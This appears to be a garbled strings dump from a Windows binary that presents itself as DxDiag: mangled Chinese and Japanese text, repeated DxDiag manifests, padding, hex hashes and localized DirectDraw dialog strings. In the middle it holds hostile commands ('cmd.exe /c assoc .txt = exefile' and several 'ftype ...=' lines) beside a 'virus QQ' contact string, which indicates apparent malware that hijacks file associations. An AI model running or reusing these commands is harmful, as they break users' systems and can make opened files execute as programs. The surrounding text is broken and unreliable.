L0d0K00~0[00g0W0_0
vfeHr,g
Oo`0R
Oo`0R
peW[~{
peW[~{
peW[~{
kbc~NeNeQs
vHr,g]
lxNRS
Oel]\O
geHr,g
vHr,gk
vHr,ge
0bJTvgNOo`S
vfeHr,g
bfeHr,g
el~b0R
tTSNWLdkd\O
#a}|q}{
tTOWLdkd\O
``AQ1
Ojg/f&T`vER
xeMO=|z
#}0R}}&N
g_`v|q}
NdSNUO
0^pxS
`|q}v[te
00~0[00g0W0_0
geg0o0B00~0[00
S0n0d\O0[Lg0M00n0o00000{
00000{
k0#a}W0f0O0`0U0D0
0000L0
n000k0B000F0k00000r
TU00f0D00K0i0F0K00
L0xY00S0h001SW0~0Y0K0?
1SY00h0
L00000000k0c}W0
0eW0D0
ff0000000Y00S0h0L0B00~0Y0
00000`1XL0AmQY00S0h0o0B00~0[00
L000[hQj00000`1X0S_g0M000F0k0Y00S0h00J0R0W0~0Y0
tXTSNgbLdkd\O
eggbLdkd\O
hg`vqR
z^/f&T~
peW[~{
_N1\/f
peW[~{
ON`v|~-Nh"}NUOOo`
bN^`VT{
g`v|~vf~Oo`
b!ql_U
!ql^zq_P
!ql_UR
!ql_UR
(un0000
0000L0d0K00j0K0c0_0K0
0Q0~0[00g0W0_0
00~0[00g0W0_0
0000n0
bg0M0~0[00g0W0_0
00~0[00g0W0_0
000000000000wRg0M0~0[00g0W0_0
0000`1X0000wRg0M0~0[00g0W0_0
v.^ReN
el/TR
el/TR
!qlS_W,go:y
!qlS_W,gHe
Bf|vuOUL
Bf|vuOUL
W,g000000`1X0S_g0M0~0[00g0W0_0
W,g0000`1X0S_g0M0~0[00g0W0_0
]0n0{0K0n0000000`1X0S_g0M0~0[00
]0n0{0K0n00000`1X0S_g0M0~0[00
elSW,g>f:yOo`
elSW,gXOo`
SvQN>f:yOo`eQs
SvQNXOo`eQs
Bf|vuOUL
S_8eQER
Bf|vuOUL
!qlS_W,gv
!qlS_2
Bf|vuOUL
|vuOUL
eQR`1X0S_g0M0~0[00
eQR0000`1X0S_g0M0~0[00
W,gvj0
n0`1X0_00~0[00g0W0_0
b5_U00_0
n0`1X0_00~0[00g0W0_0
000000`1Xn0S_000
`1X0S_g0M0~0[00
000000000-Nk0OULL0zvuW0~0W0_0
SeQOo`eQs
z^Oo`eQs
el_W,gv
el_vQN
~Oo`eQs
Oo`eQs
0P}g000
]2QX[jHh
2QX[jHh|vuOUL
00000OX[W0~0W0_0
0B}NW0~0Y0
0000n0OX[g0000L0zvuW0~0W0_0
W0f0D0~0Y0
0J0_a0O0`0U0D0.
e,geN
eN]OX[
OX[eNeQs
ck(W6e
uP,nQX[S
Bf|vuOUL
_Bf@b
!k/f&TeuN
o0MRVS0n000000L0
O(uU00_0h0M0k0
x0n00000k0OULL0B0c0_0S0h00
iQW0~0W0_0
W0~0Y0K0?
D0D0H0
]hKmQ(W
0000`1X
000000
000000
]00g00OULL0zlW0j0D04X
000000
000000
vQN.^R
0OYu@b
g\P(u|q}
e_U(u|q}
g\P(u|q}
g_U(u|q}
Y0y0f0n0000000
0000g0
n0000000
0000000L0
NSk0j00~0Y0
00000000
O(ug0M0j0O0j00~0Y0
Y0y0f0n0000000
0000g0
n0000000
0000000L0
O(uSk0j00~0Y0
00000000
O(ug0M000F0k0j00~0Y0
Y0y0f0n0000000
0000g0
n0000000
0000000L0
NSk0j00~0Y0
Y0y0f0n0000000
0000g0
n0000000
0000000L0
O(uSk0j00~0Y0
\y(u|~-N@b
e/T(u|~-N@b
RSNQ!k
\y(u|~-N@b
\/T(u|~-N@b
e_U(u|q}gQ@b
g/ecKNo:y
g\P(u|q}gQ@b
g/ecKNo:y
00000W0f0D000000n0hQ000000
0000k0[W0f0
gRk0W0~0Y0
00000W0f0D000000n0hQ000000
0000k0[W0f0
O(u0!qRk0W0~0Y0
e/T(u[|~-N/e
RVb_zS)
\y(u[|~-N/e
RVb_zS)
0000000j0W0
W,g0000000
jn0000000
0000000
)R(ug0M0~0[00
e[n0000
000000
000000
00000
j#cWvu
j#cWvu
S0n0d\Ok00c0f0
0000000
0000000
000000
000o0
jn000h0W0f0
O(ug0M0j0O0j00~0Y0
S0n0d\Ok00c0f0
0000000
0000000
000000
000L0B004X
jn000h0W0f0
O(ug0M0~0Y0
\lxNRPNzS\O:N
\lxNRPNzS(
^FUX%Rx
c6RhVX%Rx
"uTX%Rx
RRVKER
^FUX%Rx
"uTX%Rx:
Nd\{xhV:
Nd\{xhV:
000000
N0000:
N0000:
c6RhV
fNOv[{
J2b#cW
000000
NY000000
xeMO=|r
](upeW[~{
P|H,nf`vHelx
,nfP}g
nd,nfP}g
eU0O`vlx
(WgN`l
nd,nfP}gU?
Yg|H1YWe
NhQeuNdk|HS
0``euN|HTGP
N,nfU?
c!qlzl`vOUL
r|H1YWe
r|H!qlWL
S0n000000g0o0
00000(u0000000000W0
0]0n0P}g0
2W0~0Y0
0000n0P}g0mSY00h0
0000000L000000k00c0f0QUOU00
0OULL0zlU000S0h0L0B00~0Y0
X00000n0000P}g0mSW0~0Y0K0?
00000L01YWeW0_04X
000000SO00000Y00h00D0S0h0L0~00k0B00~0Y0
0000000
000k0ckW0O0
T<hW0_0S0h0k0W0f0
00000000000W0~0Y0K0?
OUL0zlY00S0h0L0g0M0~0[00g0W0_0
X00000o01YWeW0~0W0_0
000L0000000U00f0D0j0D0_00
X000000[Lg0M0~0[00
`vXlxNv^U_Km
0 RdKm
0O`vlxN
(WgN`Q
T[-N RdKm
T[(WgNyrk`Q
T[v^:NlxNKm
ts<P_
-fes)
gsOfes)
000000
000n0$Po0
n0g0B00_L0B00~0Y0
e[n0000000
gij0000000
7Respe<P_{NN
S7Res)
NvHr,g
S0n00000LF0k0o0
\j0O0h00
L0000000U00f0D0j0Q00p0j00~0[00
n0ND0_00000L0ek0X[(WW0~0Y0
NfM0W0~0Y0K0?
Y]X[(WwQ
0/f&Tv?
!qHevSxe
NgW0j0D0000
eHevSpe
^%R&N*g{v
00000000L0B00~0[00
000L0{v2U00f0D0~0[00
!qHev!j
!qHevP }<h
!ql^z
!qRj0000
!qRj00000b_
bg0M0~0[00
d0K00~0[00
00000W0f0D0~0[00
L0B00~0[00
eHev!j
eHevP }<h
e^z1YWe
q_-[1YWe
!qRj00000
Sg0M0~0[00g0W0_0
000000\O
bg0M0~0[00g0W0_0
IQ0-[g0M0~0[00g0W0_0
o0)R(ug0M0~0[00
O(uc6R
}]@Sz1Y
Bl1YWe
OY*QHQ
}%R]vQN|TS
000000L0)R(ug0M0~0[00
Uc0_0b_
0000L01Y00~0W0_0
0000L0B00~0[00;
Blo01YWeW0~0W0_0
0*QHQ^000n0-[j0i0k000
0000o0%Rn0|Ts0QW0L0ek0
O(uW0f0D0~0Y0
Q:S"N1Y
0000k0000L0zvuW0~0W0_0
000L0K00f0D0~0Y0
0000o0
O(u-Ng0Y0
0000L0
NW0f0D0~0Y0
N0R@SJX
_U1YWe
N/ecv<h
N0RirN
L0d0K00~0[00
ckW0O0j0D0}ihVg0Y0
0S0S0h0L0g0M0~0[00
00L0ckW0O0B00~0[00
O0S0h0L0g0M0~0[00
0000U00f0D0j0D0b_
000000L0d0K00~0[00
*g~b0RWW
*g~b0R[a
bU}X[S
!qleXJ2b
!ql^z]\Ok
!qHevirN
0000b&T
000000Rg0M0~0[00
000000\O
bg0M0~0[00
YL0zvuW0~0W0_0
000000L0!qRg0Y0
c}L0B00~0[00
000g0Y0
000rKag0Y0
c}L0-NeW0~0W0_0
00000L0B00~0[00
)R(ug0M0~0[00
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" type="win32" name="Microsoft.Windows.DxDiag" processorArchitecture="x86"/>
<description>DxDiag</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
language="*"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
/>
</dependentAssembly>
</dependency>
</assembly>
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGE1AD661157E254B3F57C642685B600AA
932261C6268D41D7AAB036583F27F5F6
BF62BAB713367E81C92AF13A857D5CA6
29FD87C56A480BD90BE37B2FB66723EA
E23A4BB8A8267086F8122529C41081AF
6A7390D8CFD619EA70ECB3A56D0A5BB2
CF78F30F2DED672C05A94D44B5ECA623
5715F2506D0FFB4B910369AC39CF8187
195DD833AB1A8D48F8DF6CAD9E3F4A85
2614A5C178F85E8EFD36D0DE1E67FF08
0DCF4765354DD5D9186134B4F28B3053
CB4B63DDD0DBA9339ED43D4E1DEC0E3E
651784D0D65A64E54D23206DF09419E0
651784D0D65A64E54D23206DF09419E0
76D7B4F247FD22BEAC28618418D10B0C
E43988F518238A738E180F4B21CAEAB0
3C90E454AE07468CCD857B12E5993B49
98DA6D9B4F7300E6AFE80D0112241C4A
C076F8CDCE5FFEBC0EBE107F9EF1545D
B94FA3D17FFF51CF1B1123B0DA8ADB91
34723EF2242E3E24E0DB8117258E13BD
0A1A53F4269DCDDFD6E2A8D12CB66BC1
138854B09B261E45CBDC3D94CC603DE4
E0EBAB7D5CC73F6CCC42AD3B4D4CB548
C124441209B1A83415BF4A1C0212B32A
0C9C98F14971C3597BDFF7690FDF90DB
942F632B7C241150327ED8FF83074C9D
62CDEBADCEDBE3C6F654A948840F3216
91A8B6AE8C7F829112710E73BFED4C9A
869F941E166D373039E0A3961E9F78A9
4B0012CE8AD1209827A713BE0AA6B3B7
E982641FB5EDE85A89A61469C9334FB4
1CC1C28E72BC2853CC25A5269934376D
469C5F615B21C1F89968385FF75C8BD0
4520B3586108543422E2717DB96E4734
9C7BA0F092168DF700EF14688F9F4AD0
EF7FBE30BE3D75A182601D8433ADE846
E92545BBEF585C217AC606B11DB726AD
E2379438AC672722450133367E64844F
72E7F7EFE2D6C0E5EB0B0FEF49230DDD
FFD731538222BBCB23DCA0A7ACC7157B
E42042AD4D2887F857FAF9B0D6448156
857C045907FFC7D856161216EE709BD6
E871F06C7E13C4B155601963231953E0
B0D819EAFDB999260F625E7FB397F2EF
507B16F49F44BE296C8DF29CA4DA5E05
802DAFBD97079B41BFF4FE05E2DC53A9
70F927BF1FC9DC6676B2B00D2478D9B6
06633D33CB493DACC5994A1B4BB3A4D8
9EE44C237DD07C87521E64B2CAC91C9C
BEAC8210CCA7DB2011C5133FFF48DC32
D071EFF90A4B8DFF2E0550EE920E4EC4
DC0F8E8F96E3A4AF8CBE8B0A1FEF2640
561E1D9BED05643582E353E30C351150
78DD370AE0107DB0E2A575112B214EA2
cmd.exe
Md5_String_Calc
C:\123.bat
cmd.exe /c assoc .txt = exefile
cmd.exe /c ftype comfile=
cmd.exe /c ftype zipfile=
cmd.exe /c ftype jpgfile=
cmd.exe /c ftype txtfile=
znkzz
virus QQ 621370902
VS_VERSION_INFO
StringFileInfo
080404B0
CompanyName
FileDescription
LegalCopyright
LegalTrademarks
ProductName
FileVersion
ProductVersion
InternalName
OriginalFilename
VarFileInfo
Translation
(&4-27;
(&4-27;
(&4-27;
`\khcq
`\khcq
`\khcq
DirectDraw
MS Shell Dlg
DirectDraw
DirectDraw
DirectDraw
epsat nastaven
obnovovac
frekvence
MS Shell Dlg
Storno
Obnovovac
frekvence
hodnota:
Upozorn
: Tato nastaven
nit pouze zku
ivatel
Chcete-li pou
nastaven
obnovovac
frekvence rozhran
DirectDraw, klepn
te na p
. Jinak klepn
te na p
hodnota a zadejte po
adovanou obnovovac
frekvenci.
Skift af opdateringsfunktion til DirectDraw
MS Shell Dlg
Annuller
Opdateringshastighed
&Standard
Ny &opdateringsv
Advarsel! Kun erfarne brugere b
ndre disse indstillinger.
Klik p
"Standard" for at bruge DirectDraws standardopdatering, eller klik p
"Ny opdateringsv
rdi" og skriv den opdateringshastighed, som du vil bruge.
DirectDraw-Aktualisierungsverhalten
MS Shell Dlg
Abbrechen
Aktualisierungsrate
&Standard
&Wert f
r die Au
erkraftsetzung:
Warnung: Diese Einstellungen sollten nur von fortgeschrittenen Benutzern ge
ndert werden.
Klicken Sie auf "Standard", um das Standardverhalten von DirectDraw zu verwenden, oder klicken Sie auf "Wert f
r die Au
erkraftsetzung", und geben Sie die gew
nschte Aktualisierungsrate ein.
DirectDraw
MS Shell Dlg
DirectDraw
Override DirectDraw Refresh Behavior
MS Shell Dlg
Cancel
Refresh Rate
&Default
&Override Value:
Warning: Only advanced users should change these settings.
Click "Default" to use DirectDraw's default behavior, or click "Override Value" and type the refresh rate that you want to force into the edit box.
Korvaa DirectDraw'n virkistystaajuus
MS Shell Dlg
Peruuta
